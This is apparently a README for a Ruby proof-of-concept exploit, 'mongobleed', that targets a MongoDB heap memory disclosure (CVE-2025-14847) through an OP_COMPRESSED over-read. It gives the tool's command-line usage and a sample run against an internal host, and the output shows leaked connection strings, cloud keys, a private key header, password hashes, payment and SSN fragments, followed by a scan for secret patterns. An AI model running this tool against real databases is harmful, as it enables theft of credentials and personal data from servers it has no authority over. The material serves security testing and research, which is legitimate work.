im-hanzou/mongobleedExploit PoC para CVE-2025-14847 de divulgação de memória heap do MongoDB
CVE-2025-14847 exploit para divulgação de memória heap do MongoDB via leitura além do buffer OP_COMPRESSED.
$ bundle exec ruby mongobleed.rb --help
Usage: mongobleed.rb [options]
--host HOST Target host (default: localhost)
--port PORT Target port (default: 27017)
--min-offset MIN Min doc length (default: 20)
--max-offset MAX Max doc length (default: 8192)
--output FILE Output file (default: leaked.bin)
-h, --help Show this help
$ bundle exec ruby mongobleed.rb --host 10.0.2.15 --port 27017
============================================================
Mongobleed - CVE-2025-14847 Vazamento de Memória do MongoDB
Author: Demetrius Ford - github.com/demetriusford
============================================================
[*] Target: 10.0.2.15:27017
[*] Faixa de offset: 20 a 8192
[*] Iniciando varredura de memória...
[+] Offset 0089 | Size: 14 bytes | ismaster????
[+] Offset 0124 | Size: 37 bytes | ??_id??ObjectId("6721a3f8b2c4e5d6f7a8b9c0")
[+] Offset 0203 | Size: 52 bytes | mongodb://appuser:[email protected]
[+] Offset 0287 | Size: 16 bytes | admin??customers
[+] Offset 0344 | Size: 28 bytes | ?saslSupportedMechs?SCRAM-S
[+] Offset 0412 | Size: 41 bytes | {"mechanism":"SCRAM-SHA-256","user":"dbAdmin
[+] Offset 0509 | Size: 19 bytes | ??localThresholdMS?
[+] Offset 0678 | Size: 64 bytes | AWS_ACCESS_KEY_ID=AKIAVRUVQGZA7EXAMPLE9??AWS_SECRET_ACCESS_KEY=wJ
[+] Offset 0891 | Size: 38 bytes | alrKV9+OxPjQ3zDh8EXAMPLE1a2b3c4d5e6f7g8
[+] Offset 0956 | Size: 22 bytes | ??operationTime????
[+] Offset 1034 | Size: 47 bytes | client??driver??name?MongoDB Internal Client??v
[+] Offset 1187 | Size: 29 bytes | clusterTime??signature??hash
[+] Offset 1256 | Size: 58 bytes | -----BEGIN RSA PRIVATE KEY-----??MIIEowIBAAKCAQEA2f
[+] Offset 1398 | Size: 31 bytes | 9xK7mZjp+EXAMPLE+KEY+DATA+HERE
[+] Offset 1534 | Size: 44 bytes | ??authSource=admin&replicaSet=atlas-prod-shard
[+] Offset 1702 | Size: 26 bytes | JWT_SECRET=d8f2a91b7c3e4
[+] Offset 1819 | Size: 35 bytes | [email protected]??role?
[+] Offset 1967 | Size: 18 bytes | ??passwordHash??$2b
[+] Offset 2103 | Size: 42 bytes | $12$rK8xJ2pL.N7mQvYsU3wXeO9Df4HgI5jKlMnO
[+] Offset 2287 | Size: 33 bytes | ??sessions????lastUse????txnNumb
[+] Offset 2456 | Size: 51 bytes | MONGO_INITDB_ROOT_PASSWORD=xt7Gh!92kLpQz@mongodb_adm
[+] Offset 2634 | Size: 27 bytes | ??creditCard??4532????8721
[+] Offset 2891 | Size: 24 bytes | ??ssn??XXX-XX-4532????ho
[+] Offset 3102 | Size: 39 bytes | stripe_sk_live_51H7xKLExample8q9RtY2vN
[+] Offset 3344 | Size: 16 bytes | ??cursorId??????
[+] Offset 3512 | Size: 48 bytes | ENCRYPTION_KEY=aGVsbG93b3JsZHRoaXNpc2FiYXNlNjRr
============================================================
[*] Varredura concluída!
[*] Total de dados vazados: 6847 bytes
[*] Fragmentos únicos: 312
[*] Saída salva em: leaked.bin
------------------------------------------------------------
[!] Escaneando padrões sensíveis...
------------------------------------------------------------
[!] Possível segredo detectado: PASSWORD
[!] Possível segredo detectado: SECRET
[!] Possível segredo detectado: KEY
[!] Possível segredo detectado: ADMIN
[!] Possível segredo detectado: AKIA
------------------------------------------------------------
Explora a validação insuficiente de uncompressed_size no manipulador OP_COMPRESSED do MongoDB. O parser BSON lê além dos limites da mensagem para a memória heap, vazando dados através de mensagens de erro.
Opções: --host, --port, --min-offset, --max-offset, --output
Apenas para testes de segurança autorizados. Baseado em pesquisa de Joe Desimone (@dez_)